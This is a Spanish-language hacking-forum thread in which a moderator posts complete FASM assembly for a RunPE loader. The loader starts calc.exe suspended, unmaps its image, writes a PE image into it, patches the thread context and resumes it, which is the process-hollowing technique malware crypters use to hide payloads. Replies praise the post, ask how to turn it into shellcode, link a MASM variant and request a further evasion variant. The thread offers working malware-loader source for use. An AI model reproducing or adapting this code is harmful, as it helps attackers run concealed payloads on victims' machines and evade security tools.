elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [ASM] RunPE
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [ASM] RunPE  (Leído 3,127 veces)
fary
Moderador
***
Desconectado Desconectado

Mensajes: 842



Ver Perfil WWW
[ASM] RunPE
« en: 18 Enero 2016, 00:46 »

Bueno, nunca encontre un RunPE hecho en ASM, asique hace un tiempo lo programe yo mismo.
Se los dejo por aquí...


Código
  1. ; // RunPE
  2. ; // Programado por Juan fary (mDrinky)
  3. ; // drinky.94@hotmail.com
  4.  
  5. format PE GUI 4.0
  6. include 'win32ax.inc'
  7. entry start
  8.  
  9. section '.data' readable writeable
  10.  
  11.        struct CONTEXT
  12.               ContextFlags             dd ?
  13.               Dr0                      dd ?
  14.               Dr1                      dd ?
  15.               Dr2                      dd ?
  16.               Dr3                      dd ?
  17.               Dr6                      dd ?
  18.               Dr7                      dd ?
  19.               FloatSave                dd ?
  20.               SegGs                    dd ?
  21.               SegFs                    dd ?
  22.               SegEs                    dd ?
  23.               SegDs                    dd ?
  24.               Edi                      dd ?
  25.               Esi                      dd ?
  26.               Ebx                      dd ?
  27.               Edx                      dd ?
  28.               Ecx                      dd ?
  29.               Eax                      dd ?
  30.               Ebp                      dd ?
  31.               Eip                      dd ?
  32.               SegCs                    dd ?
  33.               EFlags                   dd ?
  34.               Esp                      dd ?
  35.               SegSs                    dd ?
  36.               ExtendedRegisters        rb 512
  37.        ends
  38.  
  39.        calc            db 'c:\windows\system32\calc.exe',0
  40.        bleidos         dd 0
  41.        Datos           dd 0
  42.        Espacio         dd 0
  43.  
  44.        _SI                   STARTUPINFO ?
  45.        _PI                   PROCESS_INFORMATION ?
  46.        CTX                   CONTEXT ?
  47.  
  48.        Param2          dd 0
  49.  
  50.        ; Datos PE
  51.        imagebase       dd ?
  52.        sizeofheaders   dd ?
  53.        sizeofimage     dd ?
  54.        numseciones     dd ?
  55.  
  56.  
  57. section '.code' executable readable writeable
  58. start:
  59.        invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI
  60.  
  61.        invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
  62.        mov ebx,eax
  63.        invoke GetFileSize,ebx,0
  64.        mov edi,eax
  65.        invoke GlobalAlloc,GPTR,edi
  66.        push eax
  67.        invoke ReadFile,ebx,eax,edi,addr bleidos,0
  68.        invoke CloseHandle,ebx
  69.        pop eax
  70.  
  71.        mov [Datos],eax
  72.  
  73.        cmp word[eax],'MZ'
  74.        jne salir
  75.  
  76.        add eax,dword[eax+0x3C]  ; PE
  77.  
  78.        cmp word[eax],'PE'
  79.        jne salir
  80.  
  81.        push dword[eax+0x34] ; imagebase
  82.        pop [imagebase]
  83.  
  84.        push dword[eax+0x54] ; sizeofheaders
  85.        pop [sizeofheaders]
  86.  
  87.        push dword[eax+0x50]
  88.        pop [sizeofimage]    ; sizeofimage
  89.  
  90.        movzx ebx,word[eax+0x6] ; numero de secciones
  91.        mov [numseciones],ebx
  92.  
  93.        push eax  ; guardamos ya EAX para el final
  94.  
  95.        push eax
  96.        invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
  97.        invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
  98.        mov [Espacio],eax
  99.        invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
  100.        pop eax
  101.  
  102.        mov ecx,0
  103.  
  104.        add eax,0xF8 ; posicionamos en las cabeceras de sección
  105.  
  106.        EscribirSecciones:
  107.  
  108.        inc ecx
  109.  
  110.        push ecx
  111.        push eax
  112.  
  113.        mov ebx,eax
  114.        mov ebx,dword[ebx+0xC]      ; imagebase
  115.        add ebx,[imagebase]
  116.  
  117.        mov [Param2],ebx
  118.  
  119.        mov ebx,eax
  120.        mov ebx,dword[ebx+0x14]
  121.        mov edx,[Datos]
  122.        add edx,ebx
  123.  
  124.        mov ebx,eax
  125.        mov ebx,dword[ebx+0x10]
  126.  
  127.        invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0
  128.  
  129.        pop eax
  130.        pop ecx
  131.  
  132.        add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER
  133.  
  134.        cmp ecx,[numseciones]
  135.        jne EscribirSecciones
  136.  
  137.        invoke GetThreadContext,[_PI.hProcess],CTX
  138.  
  139.        invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0
  140.  
  141.        pop eax
  142.  
  143.        add eax,dword[eax+0x3C]
  144.        mov eax,dword[eax+0x28]
  145.  
  146.        mov [CTX.Eax],eax ; EntryPoint
  147.  
  148.        invoke SetThreadContext,[_PI.hProcess],CTX
  149.  
  150.        invoke ResumeThread,[_PI.hThread]
  151.  
  152.        salir:
  153.        ret
  154.  
  155. section '.idata' import data readable writeable
  156.        library NTDLL,'NTDLL.DLL',\
  157.                KERNEL32,'KERNEL32.DLL'
  158.  
  159.        import KERNEL32,\
  160.                CreateProcessA,'CreateProcessA',\
  161.                CreateFileA,'CreateFileA',\
  162.                GetFileSize,'GetFileSize',\
  163.                GlobalAlloc,'GlobalAlloc',\
  164.                ReadFile,'ReadFile',\
  165.                CloseHandle,'CloseHandle',\
  166.                VirtualAllocEx,'VirtualAllocEx',\
  167.                WriteProcessMemory,'WriteProcessMemory',\
  168.                GetThreadContext,'GetThreadContext',\
  169.                SetThreadContext,'SetThreadContext',\
  170.                ResumeThread,'ResumeThread'
  171.  
  172.        import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'
En línea

Un byte a la izquierda.
zerointhewill

Desconectado Desconectado

Mensajes: 24


Ver Perfil
Re: [ASM] RunPE
« Respuesta #1 en: 18 Enero 2016, 01:08 »

grande capo grande vomo  :D
En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 4.145


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: [ASM] RunPE
« Respuesta #2 en: 18 Enero 2016, 01:09 »

Muy buen aporte!

Saludos!
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

kub0x
Enlightenment Seeker
Colaborador
***
Desconectado Desconectado

Mensajes: 1.124


S3C M4NI4C


Ver Perfil
Re: [ASM] RunPE
« Respuesta #3 en: 18 Enero 2016, 01:59 »

Resurjo de mis cenizas sólo para felicitar al creador de este aporte, ¡buen trabajo!

Hace tiempo que no veo contenido de este tipo y si algo me gusta de tus aportes es que están en ASM, simplemente me divierto leyéndolos y lo comparo con los míos escritos en C++.

Si sigues publicando no estaría de más que armaras un post con todas las técnicas, podríamos ponerle chincheta.

Un abrazo.
En línea

No hay amigos, ni enemigos, lucha necia, todos contra todos.

"Music directly represents the passions of the soul. If one listens to the wrong kind of music, he will become the wrong kind of person".

Ragaza


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: [ASM] RunPE
« Respuesta #4 en: 2 Febrero 2018, 11:06 »

y como se usa este runpe? si lo compilo con nasm y lo paso a shellcode como lo uso? funcionara?

intente compilarlo con nasm pero obtengo:
Código:
a.asm:7: error: parser: instruction expected
a.asm:8: error: parser: instruction expected
a.asm:9: error: parser: instruction expected
a.asm:13: error: parser: instruction expected
a.asm:15: error: label or instruction expected at
a.asm:16: error: label or instruction expected at
a.asm:17: error: label or instruction expected at
a.asm:18: error: label or instruction expected at
a.asm:19: error: label or instruction expected at
a.asm:20: error: label or instruction expected at
a.asm:26: error: label or instruction expected at
a.asm:27: error: label or instruction expected at
a.asm:28: error: label or instruction expected at
a.asm:29: error: label or instruction expected at
a.asm:30: error: label or instruction expected at
a.asm:31: error: label or instruction expected at
a.asm:32: error: label or instruction expected at
a.asm:36: error: label or instruction expected at
a.asm:38: error: parser: instruction expected
a.asm:46: error: parser: instruction expected
a.asm:47: error: parser: instruction expected
a.asm:48: error: parser: instruction expected
a.asm:61: error: parser: instruction expected
a.asm:63: error: symbol `invoke' redefined
a.asm:63: error: parser: instruction expected
a.asm:65: error: symbol `invoke' redefined
a.asm:65: error: parser: instruction expected
a.asm:67: error: symbol `invoke' redefined
a.asm:67: error: parser: instruction expected
a.asm:69: error: symbol `invoke' redefined
a.asm:69: error: parser: instruction expected
a.asm:70: error: symbol `invoke' redefined
a.asm:70: error: parser: instruction expected
a.asm:98: error: symbol `invoke' redefined
a.asm:98: error: parser: instruction expected
a.asm:99: error: symbol `invoke' redefined
a.asm:99: error: parser: instruction expected
a.asm:101: error: symbol `invoke' redefined
a.asm:101: error: parser: instruction expected
a.asm:129: error: symbol `invoke' redefined
a.asm:129: error: parser: instruction expected
a.asm:139: error: symbol `invoke' redefined
a.asm:139: error: parser: instruction expected
a.asm:141: error: symbol `invoke' redefined
a.asm:141: error: parser: instruction expected
a.asm:150: error: symbol `invoke' redefined
a.asm:150: error: parser: instruction expected
a.asm:152: error: symbol `invoke' redefined
a.asm:152: error: parser: instruction expected
a.asm:159: error: parser: instruction expected
a.asm:172: error: parser: instruction expected
a.asm:174: error: symbol `import' redefined
a.asm:174: error: parser: instruction expected
  ʤꘀ숨ÄG䢘K
« Última modificación: 2 Febrero 2018, 11:11 por Ragaza » En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
fary
Moderador
***
Desconectado Desconectado

Mensajes: 842



Ver Perfil WWW
Re: [ASM] RunPE
« Respuesta #5 en: 2 Febrero 2018, 15:39 »

Hola,

Este código esta escrito en FASM, si lo quieres usar en NASM habría que hacerle algunas modificaciones.

Para shellcode no te serviría que ya que las direcciones no las recalcula, son estáticas.

saludos.
En línea

Un byte a la izquierda.
Ragaza


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: [ASM] RunPE
« Respuesta #6 en: 2 Febrero 2018, 16:54 »

Hola,

Este código esta escrito en FASM, si lo quieres usar en NASM habría que hacerle algunas modificaciones.

Para shellcode no te serviría que ya que las direcciones no las recalcula, son estáticas.

saludos.
este valdría:
https://pastebin.com/32Ntt5zG#

pero esta en masm. sabes como se podría compilar como binary data?

como se hace en nasm -f bin pero en masm?
En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
fary
Moderador
***
Desconectado Desconectado

Mensajes: 842



Ver Perfil WWW
Re: [ASM] RunPE
« Respuesta #7 en: 4 Febrero 2018, 12:00 »

Desconozco como se hace para MASM... tal vez acabes antes ajustando el códido para NASM.

Por cierto en ensamblador no se compila, se ensambla.

saludos.
En línea

Un byte a la izquierda.
Ragaza


Desconectado Desconectado

Mensajes: 465


Ver Perfil
Re: [ASM] RunPE
« Respuesta #8 en: 16 Febrero 2018, 19:16 »

Desconozco como se hace para MASM... tal vez acabes antes ajustando el códido para NASM.

Por cierto en ensamblador no se compila, se ensambla.

saludos.
para cuando un ejemplo de chimerape pero en asm   ;D
En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
RunPE Killer V. 1.0 By Psymera
Ingeniería Inversa
psymera 6 5,539 Último mensaje 17 Septiembre 2009, 18:25
por Arkangel_0x7C5
Que es un RunPE? « 1 2 »
Análisis y Diseño de Malware
x64core 11 9,078 Último mensaje 16 Octubre 2011, 11:29
por [Kayser]
Duda RunPE
Análisis y Diseño de Malware
[Kayser] 2 1,842 Último mensaje 10 Diciembre 2011, 13:34
por [Kayser]
Funcionamiento de un RunPE « 1 2 »
Análisis y Diseño de Malware
[Kayser] 10 5,358 Último mensaje 29 Julio 2013, 19:53
por arfgh
Problema con RunPE
Análisis y Diseño de Malware
t4r0x 1 944 Último mensaje 27 Noviembre 2014, 02:47
por x64core
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines